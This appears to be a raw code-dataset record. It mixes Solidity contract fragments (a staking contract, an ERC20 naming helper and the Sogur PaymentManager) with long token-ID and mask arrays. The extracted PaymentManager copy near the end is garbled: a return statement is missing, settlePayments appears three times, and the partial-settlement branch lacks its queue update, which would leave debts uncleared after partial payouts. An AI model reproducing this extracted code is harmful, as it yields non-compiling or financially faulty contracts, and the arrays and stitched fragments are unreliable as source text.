: (weightFactorTokens *
userInfo[user].tokens *
PRECISION_FACTOR) / totalTokenShares;
uint256 membershipShares = totalMembershipShares == 0
? 0
: (weightFactorMemberships *
userMembershipShares *
PRECISION_FACTOR) / totalMembershipShares;
return
(tokenShares + membershipShares) /
(weightFactorMemberships + weightFactorTokens);
}
}
function getStake(address user)
external
view
returns (
uint256,
uint256[] memory,
uint256,
uint256
)
{
return (
userInfo[user].tokens,
userInfo[user].membershipIds,
totalTokenShares == 0 ? 0 : getUserShares(user),
_calculatePendingRewards(user)
);
}
function getMembershipsOf(address user)
external
view
returns (uint256[] memory)
{
return userInfo[user].membershipIds;
}
receive() external payable {
payable(owner()).transfer(msg.value);
}
}
| 4,883,586 |
[
1,
7642,
4411,
3053,
322,
225,
2597,
7372,
326,
7006,
434,
512,
2455,
437,
93,
2390,
606,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
10938,
4411,
1504,
93,
15006,
12003,
353,
868,
8230,
12514,
16709,
16,
10938,
4411,
1862,
288,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
203,
5666,
288,
426,
8230,
12514,
16709,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
7462,
19,
426,
8230,
12514,
16709,
18,
18281,
14432,
203,
5666,
288,
45,
654,
39,
3462,
16,
14060,
654,
39,
3462,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
2316,
19,
654,
39,
3462,
19,
5471,
19,
9890,
654,
39,
3462,
18,
18281,
14432,
203,
565,
1958,
25003,
288,
203,
3639,
2254,
5034,
8526,
12459,
2673,
31,
203,
565,
289,
203,
203,
203,
203,
203,
203,
203,
565,
2254,
5034,
1071,
2078,
13447,
24051,
31,
203,
203,
565,
2254,
5034,
1071,
5224,
1345,
6275,
273,
1059,
67,
3784,
31,
203,
565,
2254,
5034,
1071,
5224,
13447,
6275,
273,
404,
31,
203,
203,
565,
2874,
12,
2867,
516,
25003,
13,
1071,
16753,
31,
203,
203,
565,
467,
654,
39,
3462,
1071,
11732,
3157,
485,
1345,
31,
203,
565,
1758,
1071,
11732,
3157,
485,
13447,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
8586,
1190,
9446,
31,
203,
203,
565,
2254,
5034,
1071,
3119,
6837,
5157,
273,
576,
31,
203,
565,
2254,
5034,
1071,
3119,
6837,
13447,
87,
273,
404,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
1758,
13,
1071,
12459,
5460,
414,
31,
203,
203,
565,
1426,
1071,
801,
24530,
1190,
9446,
8853,
2
] |
./full_match/4/0x37Ba8F8c69D8D399F4f633AE338aDb07d1391730/sources/contracts/ImpossibleERC20.sol
|
This sets name/symbol to include tokens in LP token
|
function _initBetterDesc(address _token0, address _token1) internal {
string memory desc = string(abi.encodePacked(IERC20(_token0).symbol(), '/', IERC20(_token1).symbol()));
name = string(abi.encodePacked('Impossible Swap LPs: ', desc));
symbol = string(abi.encodePacked('IF-LP: ', desc));
_setupDomainSeparator();
}
| 12,387,380 |
[
1,
2503,
1678,
508,
19,
7175,
358,
2341,
2430,
316,
511,
52,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
2738,
38,
11214,
4217,
12,
2867,
389,
2316,
20,
16,
1758,
389,
2316,
21,
13,
2713,
288,
203,
3639,
533,
3778,
3044,
273,
533,
12,
21457,
18,
3015,
4420,
329,
12,
45,
654,
39,
3462,
24899,
2316,
20,
2934,
7175,
9334,
2023,
16,
467,
654,
39,
3462,
24899,
2316,
21,
2934,
7175,
1435,
10019,
203,
3639,
508,
273,
533,
12,
21457,
18,
3015,
4420,
329,
2668,
1170,
12708,
12738,
511,
18124,
30,
2265,
3044,
10019,
203,
3639,
3273,
273,
533,
12,
21457,
18,
3015,
4420,
329,
2668,
5501,
17,
14461,
30,
2265,
3044,
10019,
203,
3639,
389,
8401,
3748,
6581,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.25;
// File: contracts/sogur/interfaces/IPaymentQueue.sol
/**
* @title Payment Queue Interface.
*/
interface IPaymentQueue {
/**
* @dev Retrieve the current number of payments.
* @return The current number of payments.
*/
function getNumOfPayments() external view returns (uint256);
/**
* @dev Retrieve the sum of all payments.
* @return The sum of all payments.
*/
function getPaymentsSum() external view returns (uint256);
/**
* @dev Retrieve the details of a payment.
* @param _index The index of the payment.
* @return The payment wallet address and amount.
*/
function getPayment(uint256 _index) external view returns (address, uint256);
/**
* @dev Add a new payment.
* @param _wallet The payment wallet address.
* @param _amount The payment amount.
*/
function addPayment(address _wallet, uint256 _amount) external;
/**
* @dev Update the first payment.
* @param _amount The new payment amount.
*/
function updatePayment(uint256 _amount) external;
/**
* @dev Remove the first payment.
*/
function removePayment() external;
}
// File: contracts/sogur/interfaces/IPaymentManager.sol
/**
* @title Payment Manager Interface.
*/
interface IPaymentManager {
/**
* @dev Retrieve the current number of outstanding payments.
* @return The current number of outstanding payments.
*/
function getNumOfPayments() external view returns (uint256);
/**
* @dev Retrieve the sum of all outstanding payments.
* @return The sum of all outstanding payments.
*/
function getPaymentsSum() external view returns (uint256);
/**
* @dev Compute differ payment.
* @param _ethAmount The amount of ETH entitled by the client.
* @param _ethBalance The amount of ETH retained by the payment handler.
* @return The amount of differed ETH payment.
*/
function computeDifferPayment(uint256 _ethAmount, uint256 _ethBalance) external view returns (uint256);
/**
* @dev Register a differed payment.
* @param _wallet The payment wallet address.
* @param _ethAmount The payment amount in ETH.
*/
function registerDifferPayment(address _wallet, uint256 _ethAmount) external;
}
// File: contracts/sogur/interfaces/IPaymentHandler.sol
/**
* @title Payment Handler Interface.
*/
interface IPaymentHandler {
/**
* @dev Get the amount of available ETH.
* @return The amount of available ETH.
*/
function getEthBalance() external view returns (uint256);
/**
* @dev Transfer ETH to an SGR holder.
* @param _to The address of the SGR holder.
* @param _value The amount of ETH to transfer.
*/
function transferEthToSgrHolder(address _to, uint256 _value) external;
}
// File: contracts/sogur/interfaces/IETHConverter.sol
/**
* @title ETH Converter Interface.
*/
interface IETHConverter {
/**
* @dev Get the current SDR worth of a given ETH amount.
* @param _ethAmount The amount of ETH to convert.
* @return The equivalent amount of SDR.
*/
function toSdrAmount(uint256 _ethAmount) external view returns (uint256);
/**
* @dev Get the current ETH worth of a given SDR amount.
* @param _sdrAmount The amount of SDR to convert.
* @return The equivalent amount of ETH.
*/
function toEthAmount(uint256 _sdrAmount) external view returns (uint256);
/**
* @dev Get the original SDR worth of a converted ETH amount.
* @param _ethAmount The amount of ETH converted.
* @return The original amount of SDR.
*/
function fromEthAmount(uint256 _ethAmount) external view returns (uint256);
}
// File: contracts/sogur/interfaces/ISGRAuthorizationManager.sol
/**
* @title SGR Authorization Manager Interface.
*/
interface ISGRAuthorizationManager {
/**
* @dev Determine whether or not a user is authorized to buy SGR.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToBuy(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to sell SGR.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToSell(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGR to another user.
* @param _sender The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransfer(address _sender, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGR from one user to another user.
* @param _sender The address of the custodian user.
* @param _source The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransferFrom(address _sender, address _source, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized for public operation.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedForPublicOperation(address _sender) external view returns (bool);
}
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
/**
* @title Contract Address Locator Interface.
*/
interface IContractAddressLocator {
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) external view returns (address);
/**
* @dev Determine whether or not a contract address relates to one of the identifiers.
* @param _contractAddress The contract address to look for.
* @param _identifiers The identifiers.
* @return A boolean indicating if the contract address relates to one of the identifiers.
*/
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
/**
* @title Contract Address Locator Holder.
* @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system.
* @dev Any contract which inherits from this contract can retrieve the address of any contract in the system.
* @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system.
* @dev In addition to that, any function in any contract can be restricted to a specific caller.
*/
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ;
bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager";
bytes32 internal constant _ISGRToken_ = "ISGRToken" ;
bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ;
bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ;
IContractAddressLocator private contractAddressLocator;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
/**
* @dev Get the contract address locator.
* @return The contract address locator.
*/
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
/**
* @dev Determine whether or not the sender relates to one of the identifiers.
* @param _identifiers The identifiers.
* @return A boolean indicating if the sender relates to one of the identifiers.
*/
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
/**
* @dev Verify that the caller is mapped to a given identifier.
* @param _identifier The identifier.
*/
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Claimable.sol
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: openzeppelin-solidity/contracts/math/Math.sol
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Calculates the average of two numbers. Since these are integers,
* averages of an even and odd number cannot be represented, and will be
* rounded down.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: contracts/sogur/PaymentManager.sol
/**
* Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1
*/
/**
* @title Payment Manager.
*/
contract PaymentManager is IPaymentManager, ContractAddressLocatorHolder, Claimable {
string public constant VERSION = "2.0.0";
using Math for uint256;
uint256 public maxNumOfPaymentsLimit = 30;
event PaymentRegistered(address indexed _user, uint256 _input, uint256 _output);
event PaymentSettled(address indexed _user, uint256 _input, uint256 _output);
event PaymentPartialSettled(address indexed _user, uint256 _input, uint256 _output);
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {}
/**
* @dev Return the contract which implements the ISGRAuthorizationManager interface.
*/
function getSGRAuthorizationManager() public view returns (ISGRAuthorizationManager) {
return ISGRAuthorizationManager(getContractAddress(_ISGRAuthorizationManager_));
}
/**
* @dev Return the contract which implements the IETHConverter interface.
*/
function getETHConverter() public view returns (IETHConverter) {
return IETHConverter(getContractAddress(_IETHConverter_));
}
/**
* @dev Return the contract which implements the IPaymentHandler interface.
*/
function getPaymentHandler() public view returns (IPaymentHandler) {
return IPaymentHandler(getContractAddress(_IPaymentHandler_));
}
/**
* @dev Return the contract which implements the IPaymentQueue interface.
*/
function getPaymentQueue() public view returns (IPaymentQueue) {
return IPaymentQueue(getContractAddress(_IPaymentQueue_));
}
/**
* @dev Set the max number of outstanding payments that can be settled in a single transaction.
* @param _maxNumOfPaymentsLimit The maximum number of outstanding payments to settle in a single transaction.
*/
function setMaxNumOfPaymentsLimit(uint256 _maxNumOfPaymentsLimit) external onlyOwner {
require(_maxNumOfPaymentsLimit > 0, "invalid _maxNumOfPaymentsLimit");
maxNumOfPaymentsLimit = _maxNumOfPaymentsLimit;
}
/**
* @dev Retrieve the current number of outstanding payments.
* @return The current number of outstanding payments.
*/
function getNumOfPayments() external view returns (uint256) {
return getPaymentQueue().getNumOfPayments();
}
/**
* @dev Retrieve the sum of all outstanding payments.
* @return The sum of all outstanding payments.
*/
function getPaymentsSum() external view returns (uint256) {
return getPaymentQueue().getPaymentsSum();
}
/**
* @dev Compute differ payment.
* @param _ethAmount The amount of ETH entitled by the client.
* @param _ethBalance The amount of ETH retained by the payment handler.
* @return The amount of differed ETH payment.
*/
function computeDifferPayment(uint256 _ethAmount, uint256 _ethBalance) external view returns (uint256) {
if (getPaymentQueue().getNumOfPayments() > 0)
return _ethAmount;
else if (_ethAmount > _ethBalance)
return _ethAmount - _ethBalance; // will never underflow
else
return 0;
}
/**
* @dev Register a differed payment.
* @param _wallet The payment wallet address.
* @param _ethAmount The payment amount in ETH.
*/
function registerDifferPayment(address _wallet, uint256 _ethAmount) external only(_ISGRTokenManager_) {
uint256 sdrAmount = getETHConverter().fromEthAmount(_ethAmount);
getPaymentQueue().addPayment(_wallet, sdrAmount);
emit PaymentRegistered(_wallet, _ethAmount, sdrAmount);
}
/**
* @dev Settle payments by chronological order of registration.
* @param _maxNumOfPayments The maximum number of payments to handle.
*/
function settlePayments(uint256 _maxNumOfPayments) external {
require(getSGRAuthorizationManager().isAuthorizedForPublicOperation(msg.sender), "settle payments is not authorized");
IETHConverter ethConverter = getETHConverter();
IPaymentHandler paymentHandler = getPaymentHandler();
IPaymentQueue paymentQueue = getPaymentQueue();
uint256 numOfPayments = paymentQueue.getNumOfPayments();
numOfPayments = numOfPayments.min(_maxNumOfPayments).min(maxNumOfPaymentsLimit);
for (uint256 i = 0; i < numOfPayments; i++) {
(address wallet, uint256 sdrAmount) = paymentQueue.getPayment(0);
uint256 ethAmount = ethConverter.toEthAmount(sdrAmount);
uint256 ethBalance = paymentHandler.getEthBalance();
if (ethAmount > ethBalance) {
paymentQueue.updatePayment(ethConverter.fromEthAmount(ethAmount - ethBalance)); // will never underflow
paymentHandler.transferEthToSgrHolder(wallet, ethBalance);
emit PaymentPartialSettled(wallet, sdrAmount, ethBalance);
break;
}
paymentQueue.removePayment();
paymentHandler.transferEthToSgrHolder(wallet, ethAmount);
emit PaymentSettled(wallet, sdrAmount, ethAmount);
}
}
}
|
* @title Payment Manager./
|
contract PaymentManager is IPaymentManager, ContractAddressLocatorHolder, Claimable {
string public constant VERSION = "2.0.0";
using Math for uint256;
uint256 public maxNumOfPaymentsLimit = 30;
event PaymentRegistered(address indexed _user, uint256 _input, uint256 _output);
event PaymentSettled(address indexed _user, uint256 _input, uint256 _output);
event PaymentPartialSettled(address indexed _user, uint256 _input, uint256 _output);
constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {}
function getSGRAuthorizationManager() public view returns (ISGRAuthorizationManager) {
return ISGRAuthorizationManager(getContractAddress(_ISGRAuthorizationManager_));
}
function getETHConverter() public view returns (IETHConverter) {
return IETHConverter(getContractAddress(_IETHConverter_));
}
function getPaymentHandler() public view returns (IPaymentHandler) {
return IPaymentHandler(getContractAddress(_IPaymentHandler_));
}
function getPaymentQueue() public view returns (IPaymentQueue) {
return IPaymentQueue(getContractAddress(_IPaymentQueue_));
}
function setMaxNumOfPaymentsLimit(uint256 _maxNumOfPaymentsLimit) external onlyOwner {
require(_maxNumOfPaymentsLimit > 0, "invalid _maxNumOfPaymentsLimit");
maxNumOfPaymentsLimit = _maxNumOfPaymentsLimit;
}
function getNumOfPayments() external view returns (uint256) {
return getPaymentQueue().getNumOfPayments();
}
function getPaymentsSum() external view returns (uint256) {
return getPaymentQueue().getPaymentsSum();
}
function computeDifferPayment(uint256 _ethAmount, uint256 _ethBalance) external view returns (uint256) {
if (getPaymentQueue().getNumOfPayments() > 0)
return _ethAmount;
else if (_ethAmount > _ethBalance)
else
return 0;
}
function registerDifferPayment(address _wallet, uint256 _ethAmount) external only(_ISGRTokenManager_) {
uint256 sdrAmount = getETHConverter().fromEthAmount(_ethAmount);
getPaymentQueue().addPayment(_wallet, sdrAmount);
emit PaymentRegistered(_wallet, _ethAmount, sdrAmount);
}
function settlePayments(uint256 _maxNumOfPayments) external {
require(getSGRAuthorizationManager().isAuthorizedForPublicOperation(msg.sender), "settle payments is not authorized");
IETHConverter ethConverter = getETHConverter();
IPaymentHandler paymentHandler = getPaymentHandler();
IPaymentQueue paymentQueue = getPaymentQueue();
uint256 numOfPayments = paymentQueue.getNumOfPayments();
numOfPayments = numOfPayments.min(_maxNumOfPayments).min(maxNumOfPaymentsLimit);
for (uint256 i = 0; i < numOfPayments; i++) {
(address wallet, uint256 sdrAmount) = paymentQueue.getPayment(0);
uint256 ethAmount = ethConverter.toEthAmount(sdrAmount);
uint256 ethBalance = paymentHandler.getEthBalance();
if (ethAmount > ethBalance) {
paymentHandler.transferEthToSgrHolder(wallet, ethBalance);
emit PaymentPartialSettled(wallet, sdrAmount, ethBalance);
break;
}
paymentQueue.removePayment();
paymentHandler.transferEthToSgrHolder(wallet, ethAmount);
emit PaymentSettled(wallet, sdrAmount, ethAmount);
}
}
function settlePayments(uint256 _maxNumOfPayments) external {
require(getSGRAuthorizationManager().isAuthorizedForPublicOperation(msg.sender), "settle payments is not authorized");
IETHConverter ethConverter = getETHConverter();
IPaymentHandler paymentHandler = getPaymentHandler();
IPaymentQueue paymentQueue = getPaymentQueue();
uint256 numOfPayments = paymentQueue.getNumOfPayments();
numOfPayments = numOfPayments.min(_maxNumOfPayments).min(maxNumOfPaymentsLimit);
for (uint256 i = 0; i < numOfPayments; i++) {
(address wallet, uint256 sdrAmount) = paymentQueue.getPayment(0);
uint256 ethAmount = ethConverter.toEthAmount(sdrAmount);
uint256 ethBalance = paymentHandler.getEthBalance();
if (ethAmount > ethBalance) {
paymentHandler.transferEthToSgrHolder(wallet, ethBalance);
emit PaymentPartialSettled(wallet, sdrAmount, ethBalance);
break;
}
paymentQueue.removePayment();
paymentHandler.transferEthToSgrHolder(wallet, ethAmount);
emit PaymentSettled(wallet, sdrAmount, ethAmount);
}
}
function settlePayments(uint256 _maxNumOfPayments) external {
require(getSGRAuthorizationManager().isAuthorizedForPublicOperation(msg.sender), "settle payments is not authorized");
IETHConverter ethConverter = getETHConverter();
IPaymentHandler paymentHandler = getPaymentHandler();
IPaymentQueue paymentQueue = getPaymentQueue();
uint256 numOfPayments = paymentQueue.getNumOfPayments();
numOfPayments = numOfPayments.min(_maxNumOfPayments).min(maxNumOfPaymentsLimit);
for (uint256 i = 0; i < numOfPayments; i++) {
(address wallet, uint256 sdrAmount) = paymentQueue.getPayment(0);
uint256 ethAmount = ethConverter.toEthAmount(sdrAmount);
uint256 ethBalance = paymentHandler.getEthBalance();
if (ethAmount > ethBalance) {
paymentHandler.transferEthToSgrHolder(wallet, ethBalance);
emit PaymentPartialSettled(wallet, sdrAmount, ethBalance);
break;
}
paymentQueue.removePayment();
paymentHandler.transferEthToSgrHolder(wallet, ethAmount);
emit PaymentSettled(wallet, sdrAmount, ethAmount);
}
}
}
| 13,717,756 |
[
1,
6032,
8558,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
